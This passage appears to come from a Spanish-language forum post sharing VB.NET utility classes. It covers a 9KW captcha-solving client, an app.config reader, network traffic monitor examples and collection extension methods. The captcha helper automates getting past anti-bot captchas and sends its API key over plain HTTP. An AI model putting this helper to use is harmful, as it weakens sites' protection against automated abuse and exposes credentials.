' .AddBody(New StringBody(Encoding.UTF8, "source", "vbapi"))
' End With
'
' Dim fileBody As New FileBody("file-upload-01", filepath, New IO.FileInfo(filepath))
' multipartEntity.AddBody(fileBody)
'
' Dim response As HttpResponse = client.Execute(postMethod)
' Dim text As String = EntityUtils.ToString(response.Entity)
9KW Captcha Helper
http://9kw.eu/
(veanse otros ejemplos de uso en el apartado de la API en la página oficial)
Es una class para utilizar el servicio de solución de captchas de 9KW. Este servicio es de pago, se necesita una API key para podr utilizarlo.
Por el momento cumple las dos labores más esenciales, la función GetCredits devuelve los créditos actuales del usuario, y el método SolveCaptcha soluciona el captcha especificado.
' ***********************************************************************
' Author : Elektro
' Modified : 18-September-2015
' ***********************************************************************
' <copyright file="KWCaptchaHelper.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Public Members Summary "
#Region " Properties "
' KWCaptchaHelper.ApiKey As String
#End Region
#Region " Functions "
' KWCaptchaHelper.GetCredits As String
#End Region
#Region " Methods "
' KWCaptchaHelper.SolveCaptcha(String)
#End Region
#End Region
#Region " Usage Examples "
' Dim captchaSolver As New KWCaptchaHelper(apiKey:="XXXXXXXXXXXXXXXXXXX")
' Dim imagePath As String = "C:\captcha.png"
' Dim result As String = String.Empty
' Console.WriteLine(String.Format("User Credits: {0}", captchaSolver.GetCredits()))
' Console.WriteLine(String.Format("Captcha Img.: {0}", imagePath))
' Console.WriteLine("Solving Captcha, please wait...")
' result = captchaSolver.SolveCaptcha(imagePath)
' Console.WriteLine(String.Format("Result: {0}", result))
'Console.ReadKey()
#End Region
#Region " Imports "
Imports CodeScales.Http
Imports CodeScales.Http.Entity
Imports CodeScales.Http.Methods
Imports CodeScales.Http.Entity.Mime
Imports System
Imports System.IO
Imports System.Linq
Imports System.Text
Imports System.Threading
#End Region
#Region " KWCaptchaHelper "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' 9KW Captcha service. Helper Class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Visit <see href="http://9kw.eu/"/> for further info.
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class KWCaptchaHelper
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the 9KW's API user key.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The 9KW's API user key.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property ApiKey As String
Get
Return Me.apiKeyB
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing field )
''' The 9KW's API user key.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private ReadOnly apiKeyB As String
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="KWCaptchaHelper"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="apiKey">
''' The 9KW's API user key.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Sub New(ByVal apiKey As String)
Me.apiKeyB = apiKey
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents a default instance of the <see cref="KWCaptchaHelper"/> class from being created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private Sub New()
End Sub
#End Region
#Region " Private Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="data">
''' The data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' System.String.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Private Function Get9kwApi(ByVal data As String) As String
Return Me.Get9kwHttp(String.Format("http://www.9kw.eu/index.cgi?source=vbapi&debug=0&apikey={0}&action=" & data, Me.apiKeyB))
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="url">
''' The URL.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' System.String.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Private Function Get9kwHttp(ByVal url As String) As String
Dim httpClient As New HttpClient
Dim httpGet As New HttpGet(New Uri(url))
Dim httpResponse As HttpResponse = httpClient.Execute(httpGet)
Return EntityUtils.ToString(httpResponse.Entity)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="data">
''' The data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' System.String.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Private Function Get9kwApiUpload(ByVal data As String) As String
Dim client As New HttpClient
Dim postMethod As New HttpPost(New Uri("http://www.9kw.eu/index.cgi"))
Dim multipartEntity As New MultipartEntity
postMethod.Entity = multipartEntity
Dim stringBody As New StringBody(Encoding.UTF8, "apikey", Me.apiKeyB)
multipartEntity.AddBody(stringBody)
Dim stringBody3 As New StringBody(Encoding.UTF8, "source", "vbapi")
multipartEntity.AddBody(stringBody3)
Dim stringBody2 As New StringBody(Encoding.UTF8, "action", "usercaptchaupload")
multipartEntity.AddBody(stringBody2)
Dim fileInfo As New FileInfo(data)
Dim fileBody As New FileBody("file-upload-01", data, fileInfo)
multipartEntity.AddBody(fileBody)
Dim response As HttpResponse = client.Execute(postMethod)
Return EntityUtils.ToString(response.Entity)
End Function
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the current remaining credits.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The current remaining credits.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Function GetCredits() As String
Return Me.Get9kwApi("usercaptchaguthaben")
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Solves the specified captcha image.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="imagePath">
''' The image path.
''' </param>
'''
''' <param name="checkInterval">
''' The interval to check whether the captcha is solved.
''' </param>
'''
''' <param name="totalTries">
''' The total intents. ( <paramref name="totalTries"/> * <paramref name="checkInterval"/> ).
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The solved text.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Function SolveCaptcha(ByVal imagePath As String,
Optional ByVal checkInterval As Integer = 2000,
Optional ByVal totalTries As Integer = 100) As String
Dim newCaptchaID As String = Me.Get9kwApiUpload(imagePath)
Dim checkdata As String = String.Empty
Dim counter As Integer = 0
Do Until Not String.IsNullOrEmpty(checkdata)
If Interlocked.Increment(counter) = totalTries Then
Exit Do
Else
Thread.Sleep(checkInterval)
End If
checkdata = Me.Get9kwApi("usercaptchacorrectdata&id=" & newCaptchaID)
Loop
Return checkdata
End Function
#End Region
End Class
#End Region
AppConfigUtil, es una class que expone un simple parser de uso genérico para comprovar el valor de una propiedad declarada en la configuración de aplicación (appconfig), el cual no he optimizado para los tipos de estructura del árbol de nodos del appconfig ...podría ser ineficiente en ciertos escenarios, pero es un comienzo.
Por ejemplo, para saber si los contadores de rendimientos están activados en el appconfig de una aplicación .Net, lo podriamos utilizar de la siguiente manera:
Dim isPerfCountersEnabled As boolean = GetAppConfigSetting(Of Boolean)("system.net", "settings", "performanceCounters", "enabled")
O utilizar el método IsPerformanceCountersEnabled definido expresamente para esa labor.
Source:
' ***********************************************************************
' Author : Elektro
' Modified : 18-September-2015
' ***********************************************************************
' <copyright file="AppConfigUtil.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Public Members Summary "
#Region " Functions "
' GetAppConfigSetting(Of T)(String, String, String, String, Optional:String) As T
' GetAppConfigSetting(Of T)(String, String, String, String) As T
' IsPerformanceCountersEnabled(Optional:String) As Boolean
#End Region
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System
Imports System.Configuration
Imports System.Linq
Imports System.Net.Configuration
#End Region
#Region " AppConfig Util "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains related AppConfig utilities.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class AppConfigUtil
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the value of a setting declared in the application configuration file (app.config)
''' of the specified application.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim isPerfCountersEnabled As boolean = GetAppConfigSetting(Of Boolean)("system.net", "settings", "performanceCounters", "enabled")
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="sectionGroupName">
''' The name of the section group.
''' </param>
'''
''' <param name="sectionName">
''' The name of the section.
''' </param>
'''
''' <param name="elementName">
''' The name of the element.
''' </param>
'''
''' <param name="propertyName">
''' The name of the property.
''' </param>
'''
''' <param name="exePath">
''' The executable path of the current or an external .Net application.
''' If any path is specified, it assumes the current application.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If the SectionGroup, the Section, the Element, or the Property doesn't exist, the return value is <see langword="Nothing"/>,
''' otherwise, the value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
Public Shared Function GetAppConfigSetting(Of T)(ByVal sectionGroupName As String,
ByVal sectionName As String,
ByVal elementName As String,
ByVal propertyName As String,
Optional ByVal exePath As String = "") As T
Dim appConfig As Configuration
Dim group As ConfigurationSectionGroup
Dim section As ConfigurationSection
Dim sectionPropInfo As PropertyInformation
Dim element As ConfigurationElement
Dim elementPropInfo As PropertyInformation
If Not String.IsNullOrEmpty(exePath) Then
appConfig = ConfigurationManager.OpenExeConfiguration(exePath)
Else
appConfig = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None)
End If
group = appConfig.GetSectionGroup(sectionGroupName)
If group Is Nothing Then
Return Nothing
End If
section = group.Sections(sectionName)
If section Is Nothing Then
Return Nothing
End If
sectionPropInfo = section.ElementInformation.Properties(elementName)
If sectionPropInfo Is Nothing Then
Return Nothing
End If
element = DirectCast(sectionPropInfo.Value, ConfigurationElement)
If element Is Nothing Then
Return Nothing
End If
elementPropInfo = element.ElementInformation.Properties(propertyName)
If elementPropInfo Is Nothing Then
Return Nothing
End If
Return DirectCast(elementPropInfo.Value, T)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the value of a setting declared in the application configuration file (app.config)
''' of the specified application.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="sectionName">
''' The name of the section.
''' </param>
'''
''' <param name="elementName">
''' The name of the element.
''' </param>
'''
''' <param name="propertyName">
''' The name of the property.
''' </param>
'''
''' <param name="exePath">
''' The executable path of the current or an external .Net application.
''' If any path is specified, it assumes the current application.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If the Section, the Element, or the Property doesn't exist, the return value is <see langword="Nothing"/>,
''' otherwise, the value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
Public Shared Function GetAppConfigSetting(Of T)(ByVal sectionName As String,
ByVal elementName As String,
ByVal propertyName As String,
Optional ByVal exePath As String = "") As T
Dim appConfig As Configuration
Dim section As ConfigurationSection
Dim sectionPropInfo As PropertyInformation
Dim element As ConfigurationElement
Dim elementPropInfo As PropertyInformation
If Not String.IsNullOrEmpty(exePath) Then
appConfig = ConfigurationManager.OpenExeConfiguration(exePath)
Else
appConfig = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None)
End If
section = appConfig.GetSection(sectionName)
If section Is Nothing Then
Return Nothing
End If
sectionPropInfo = section.ElementInformation.Properties(elementName)
If sectionPropInfo Is Nothing Then
Return Nothing
End If
element = DirectCast(sectionPropInfo.Value, ConfigurationElement)
If element Is Nothing Then
Return Nothing
End If
elementPropInfo = element.ElementInformation.Properties(propertyName)
If elementPropInfo Is Nothing Then
Return Nothing
End If
Return DirectCast(elementPropInfo.Value, T)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether the performance counters feature is enabled in the application configuration file (app.config)
''' of the specified application.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="exePath">
''' The executable path of the current or an external .Net application.
''' If any path is specified, it assumes the current application.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' Returns <see langword="False"/> if the performance counters feature is disabled or if the "system.net" section is not defined;
''' otherwise, <see langword="True"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
Public Shared Function IsPerformanceCountersEnabled(Optional ByVal exePath As String = "") As Boolean
Dim appConfig As Configuration
Dim group As NetSectionGroup
If Not String.IsNullOrEmpty(exePath) Then
appConfig = ConfigurationManager.OpenExeConfiguration(exePath)
Else
appConfig = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None)
End If
group = DirectCast(appConfig.GetSectionGroup("system.net"), NetSectionGroup)
Return (group IsNot Nothing AndAlso group.Settings.PerformanceCounters.Enabled)
End Function
#End Region
End Class
#End Region
NetworkUtil.vb, esta class expone varias funcionalidades relacionadas con los adaptadores de red, desde un evento compartido, NetworkUtil.NetworkStatusChanged, el cual se puede utilizar para monitorizar el estado de la conexión, hasta las classes NetworkUtil.NetworkTrafficMonitor, y NetworkUtil.ProcessTrafficMonitor
que, con sus respectivos eventos a los que uno se puede suscribir, sirven para monitorizar el consumo de tráfico de una red, o el de un proces en particular. Realmente tiene poco más que lo que acabo de mencionar xD.
Source:
http://pastebin.com/byCZSqGc
Ejemplo para monitorizar el estado de la red:
Public Class Form1
Private Sub Form1_Shown() Handles MyBase.Load
AddHandler NetworkUtil.NetworkStatusChanged, AddressOf DoNetworkStatusChanged
End Sub
Private Sub DoNetworkStatusChanged(ByVal sender As Object, e As NetworkUtil.NetworkStatusChangedArgs)
If e.IsAvailable Then
Console.WriteLine("Network is available.")
Else
Console.WriteLine("Network is not available.")
End If
End Sub
End Class
Ejemplo para monitorizar el tráfico de red:
Public NotInheritable Class Form1 : Inherits Form
Dim WithEvents netMon As NetworkUtil.NetworkTrafficMonitor
Private Sub Form1_Load() Handles MyBase.Load
Me.netMon = New NetworkUtil.NetworkTrafficMonitor(NetworkUtil.NetworkTrafficMonitor.GetAvaliableInterfaceNames.First)
Me.netMon.UpdateBehavior = NetworkUtil.NetworkTrafficMonitor.UpdateBehaviorEnum.FireAlwaysAfterTick
Me.netMon.UpdateInterval = 1000 ' 1 sec
Me.netMon.Start()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="NetworkUtil.NetworkTrafficMonitor.TrafficChanged"/> event of the netMon instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">T
''' The source of the event.
''' </param>
'''
''' <param name="e">
''' The <see cref="NetworkUtil.NetworkTrafficMonitor.TrafficChangedEventArgs"/> instance containing the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Private Sub NetMon_TrafficChanged(ByVal sender As Object, ByVal e As NetworkUtil.NetworkTrafficMonitor.TrafficChangedEventArgs) _
Handles netMon.TrafficChanged
Me.LabelBytesReceived.Text = String.Format("Bytes received: {0} kb", (e.BytesReceived / 1024).ToString("n2"))
Me.LabelDlSpeed.Text = String.Format("DL Speed: {0} kb/sec", (e.DiffBytesReceived / 1024).ToString("n2"))
Me.LabelBytesSent.Text = String.Format("Bytes sent: {0} kb", (e.BytesSent / 1024).ToString("n2"))
Me.LabelUlSpeed.Text = String.Format("UL Speed: {0} kb/sec", (e.DiffBytesSent / 1024).ToString("n2"))
End Sub
Private Sub BtDownloadUrl_Click() Handles BtDownloadUrl.Click
Dim url As String = "http://download.thinkbroadband.com/10MB.zip"
Dim client As New WebClient()
client.DownloadFileAsync(New Uri(url), Path.GetTempFileName())
End Sub
Private Sub BtPauseMon_Click() Handles BtPauseMon.Click
If Me.netMon.IsActive Then
Me.netMon.Stop()
Else
Me.netMon.Start()
End If
End Sub
End Class
Ejemplo para monitorizar el tráfico de una aplicación .Net (que tenga los contadores de rendimiento habilitados):
Public NotInheritable Class Form1 : Inherits Form
Dim WithEvents procNetMon As NetworkUtil.ProcessTrafficMonitor
Private Sub Form1_Load() Handles MyBase.Load
Me.procNetMon = New NetworkUtil.ProcessTrafficMonitor(Process.GetCurrentProcess.Id)
Me.procNetMon.UpdateBehavior = NetworkUtil.ProcessTrafficMonitor.UpdateBehaviorEnum.FireAlwaysAfterTick
Me.procNetMon.UpdateInterval = 1000 ' 1 sec
Me.procNetMon.Start()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="NetworkUtil.ProcessTrafficMonitor.TrafficChanged"/> event of the procNetMon instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">T
''' The source of the event.
''' </param>
'''
''' <param name="e">
''' The <see cref="NetworkUtil.ProcessTrafficMonitor.TrafficChangedEventArgs"/> instance containing the event data.
''' </param>
''' -----------------------------------------------------------------------------------------------------
Private Sub ProcNetMon_TrafficChanged(ByVal sender As Object, ByVal e As NetworkUtil.ProcessTrafficMonitor.TrafficChangedEventArgs) _
Handles procNetMon.TrafficChanged
Me.LabelBytesReceived.Text = String.Format("Bytes received: {0} kb", (e.BytesReceived / 1024).ToString("n2"))
Me.LabelDlSpeed.Text = String.Format("DL Speed: {0} kb/sec", (e.DiffBytesReceived / 1024).ToString("n2"))
Me.LabelBytesSent.Text = String.Format("Bytes sent: {0} kb", (e.BytesSent / 1024).ToString("n2"))
Me.LabelUlSpeed.Text = String.Format("UL Speed: {0} kb/sec", (e.DiffBytesSent / 1024).ToString("n2"))
End Sub
Private Sub BtDownloadUrl_Click() Handles BtDownloadUrl.Click
Dim url As String = "http://download.thinkbroadband.com/10MB.zip"
Dim client As New WebClient()
client.DownloadFileAsync(New Uri(url), Path.GetTempFileName())
End Sub
Private Sub BtPauseMon_Click() Handles BtPauseMon.Click
If Me.procNetMon.IsActive Then
Me.procNetMon.Stop()
Else
Me.procNetMon.Start()
End If
End Sub
End Class
IEnumerable(Of T) Extensions, cómo su propio nombre indica, expone varias extensiones de método para utilizarlas con una colección genérica.
Las extensiones son las siguiente, si alguna no es lo suficientemente aclaratoria entonces pueden usar IntelliSense o el ObjectInspector para conocer el propósito de cada una:
IEnumerable(Of T)().ConcatMultiple(IEnumerable(Of T)()) As IEnumerable(Of T)
IEnumerable(Of T)().StringJoin As IEnumerable(Of T)
IEnumerable(Of T).CountEmptyItems As Integer
IEnumerable(Of T).CountNonEmptyItems As Integer
IEnumerable(Of T).Duplicates As IEnumerable(Of T)
IEnumerable(Of T).Randomize As IEnumerable(Of T)
IEnumerable(Of T).RemoveDuplicates As IEnumerable(Of T)
IEnumerable(Of T).SplitIntoNumberOfElements(Integer) As IEnumerable(Of T)
IEnumerable(Of T).SplitIntoNumberOfElements(Integer, Boolean, T) As IEnumerable(Of T)
IEnumerable(Of T).SplitIntoParts(Integer) As IEnumerable(Of T)
IEnumerable(Of T).UniqueDuplicates As IEnumerable(Of T)
IEnumerable(Of T).Uniques As IEnumerable(Of T)
Puse ejemplos de uso para cada extensión en la documentación XML del código fuente.
Source:
' ***********************************************************************
' Author : Elektro
' Modified : 10-September-2015
' ***********************************************************************
' <copyright file="IEnumerableExtensions.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Public Members Summary "
#Region " Functions "
' IEnumerable(Of T)().ConcatMultiple(IEnumerable(Of T)()) As IEnumerable(Of T)
' IEnumerable(Of T)().StringJoin As IEnumerable(Of T)
' IEnumerable(Of T).CountEmptyItems As Integer
' IEnumerable(Of T).CountNonEmptyItems As Integer
' IEnumerable(Of T).Duplicates As IEnumerable(Of T)
' IEnumerable(Of T).Randomize As IEnumerable(Of T)
' IEnumerable(Of T).RemoveDuplicates As IEnumerable(Of T)
' IEnumerable(Of T).SplitIntoNumberOfElements(Integer) As IEnumerable(Of T)
' IEnumerable(Of T).SplitIntoNumberOfElements(Integer, Boolean, T) As IEnumerable(Of T)
' IEnumerable(Of T).SplitIntoParts(Integer) As IEnumerable(Of T)
' IEnumerable(Of T).UniqueDuplicates As IEnumerable(Of T)
' IEnumerable(Of T).Uniques As IEnumerable(Of T)
#End Region
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System
Imports System.Collections.Generic
Imports System.Diagnostics
Imports System.Linq
Imports System.Runtime.CompilerServices
#End Region
#Region " IEnumerableUtil "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains custom extension methods to use with an <see cref="IEnumerable(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Module IEnumerableExtensions
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Get All Duplicates.
''' Author: Elektro
''' Date : 08-March-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim col As IEnumerable(Of Integer) = {1, 1, 2, 2, 3, 3, 0}
''' Debug.WriteLine(String.Join(", ", col.Duplicates))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets all the duplicated values of the source <see cref="IEnumerable(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="sender">
''' The source collection.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see cref="IEnumerable(Of T)"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
<Extension>
Public Function Duplicates(Of T)(ByVal sender As IEnumerable(Of T)) As IEnumerable(Of T)
Return sender.GroupBy(Function(value As T) value).
Where(Function(group As IGrouping(Of T, T)) group.Count > 1).
SelectMany(Function(group As IGrouping(Of T, T)) group)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Get Unique Duplicates.
''' Author: Elektro
''' Date : 08-March-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim col As IEnumerable(Of Integer) = {1, 1, 2, 2, 3, 3, 0}
''' Debug.WriteLine(String.Join(", ", col.UniqueDuplicates))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the unique duplicated values of the source <see cref="IEnumerable(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="sender">
''' The source collection.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see cref="IEnumerable(Of T)"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
<Extension>
Public Function UniqueDuplicates(Of T)(ByVal sender As IEnumerable(Of T)) As IEnumerable(Of T)
Return sender.GroupBy(Function(value As T) value).
Where(Function(group As IGrouping(Of T, T)) group.Count > 1).
Select(Function(group As IGrouping(Of T, T)) group.Key)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Get Unique Values.
''' Author: Elektro
''' Date : 08-March-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim col As IEnumerable(Of Integer) = {1, 1, 2, 2, 3, 3, 0}
''' Debug.WriteLine(String.Join(", ", col.Uniques))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the unique values of the source <see cref="IEnumerable(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="sender">
''' The source collection.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see cref="IEnumerable(Of T)"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
<Extension>
Public Function Uniques(Of T)(ByVal sender As IEnumerable(Of T)) As IEnumerable(Of T)
Return sender.Except(IEnumerableExtensions.UniqueDuplicates(sender))
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Remove Duplicates.
''' Author: Elektro
''' Date : 08-March-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim col As IEnumerable(Of Integer) = {1, 1, 2, 2, 3, 3, 0}
''' Debug.WriteLine(String.Join(", ", col.RemoveDuplicates))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Removes duplicated values in the source <see cref="IEnumerable(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="sender">
''' The source collection.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see cref="IEnumerable(Of T)"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
<Extension>
Public Function RemoveDuplicates(Of T)(ByVal sender As IEnumerable(Of T)) As IEnumerable(Of T)
Return sender.Distinct
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Split Collection Into Number Of Parts.
''' Author: Elektro
''' Date : 08-March-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim mainCol As IEnumerable(Of Integer) = {1, 2, 3, 4, 5, 6, 7, 8, 9, 0}
''' Dim splittedCols As IEnumerable(Of IEnumerable(Of Integer)) = mainCol.SplitIntoParts(amount:=2)
''' splittedCols.ToList.ForEach(Sub(col As IEnumerable(Of Integer))
''' Debug.WriteLine(String.Join(", ", col))
''' End Sub)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Splits the source <see cref="IEnumerable(Of T)"/> into the specified amount of secuences.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="sender">
''' The source collection.
''' </param>
'''
''' <param name="amount">
''' The target amount of secuences.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see cref="IEnumerable(Of IEnumerable(Of T))"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
<Extension>
Public Function SplitIntoParts(Of T)(ByVal sender As IEnumerable(Of T),
ByVal amount As Integer) As IEnumerable(Of IEnumerable(Of T))
If (amount = 0) OrElse (amount > sender.Count) OrElse (sender.Count Mod amount <> 0) Then
Throw New ArgumentOutOfRangeException(paramName:="amount",
message:="value should be greater than '0', smallest than 'col.Count', and multiplier of 'col.Count'.")
End If
Dim chunkSize As Integer = CInt(Math.Ceiling(sender.Count() / amount))
Return From index As Integer In Enumerable.Range(0, amount)
Select sender.Skip(chunkSize * index).Take(chunkSize)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Split Collection Into Number Of Elements.
''' Author: Elektro
''' Date : 08-March-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim mainCol As IEnumerable(Of Integer) = {1, 2, 3, 4, 5, 6, 7, 8, 9}
''' Dim splittedCols As IEnumerable(Of IEnumerable(Of Integer)) = mainCol.SplitIntoNumberOfElements(amount:=4)
''' splittedCols.ToList.ForEach(Sub(col As IEnumerable(Of Integer))
''' Debug.WriteLine(String.Join(", ", col))
''' End Sub)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Splits the source <see cref="IEnumerable(Of T)"/> into secuences with the specified amount of elements.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="sender">
''' The source collection.
''' </param>
'''
''' <param name="amount">
''' The target amount of elements.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see cref="IEnumerable(Of IEnumerable(Of T))"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
<Extension>
Public Function SplitIntoNumberOfElements(Of T)(ByVal sender As IEnumerable(Of T),
ByVal amount As Integer) As IEnumerable(Of IEnumerable(Of T))
Return From index As Integer In Enumerable.Range(0, CInt(Math.Ceiling(sender.Count() / amount)))
Select sender.Skip(index * amount).Take(amount)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Split Collection Into Number Of Elements.
''' Author: Elektro
''' Date : 08-March-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim mainCol As IEnumerable(Of Integer) = {1, 2, 3, 4, 5, 6, 7, 8, 9}
''' Dim splittedCols As IEnumerable(Of IEnumerable(Of Integer)) = mainCol.SplitIntoNumberOfElements(amount:=4, fillEmpty:=True, valueToFill:=0)
''' splittedCols.ToList.ForEach(Sub(col As IEnumerable(Of Integer))
''' Debug.WriteLine(String.Join(", ", col))
''' End Sub)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Splits the source <see cref="IEnumerable(Of T)"/> into secuences with the specified amount of elements.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="sender">
''' The source collection.
''' </param>
'''
''' <param name="amount">
''' The target amount of elements.
''' </param>
'''
''' <param name="fillEmpty">
''' If set to <c>true</c>, generates empty elements to fill the last secuence's part amount.
''' </param>
'''
''' <param name="valueToFill">
''' An optional value used to fill the last secuence's part amount.
''' </param>
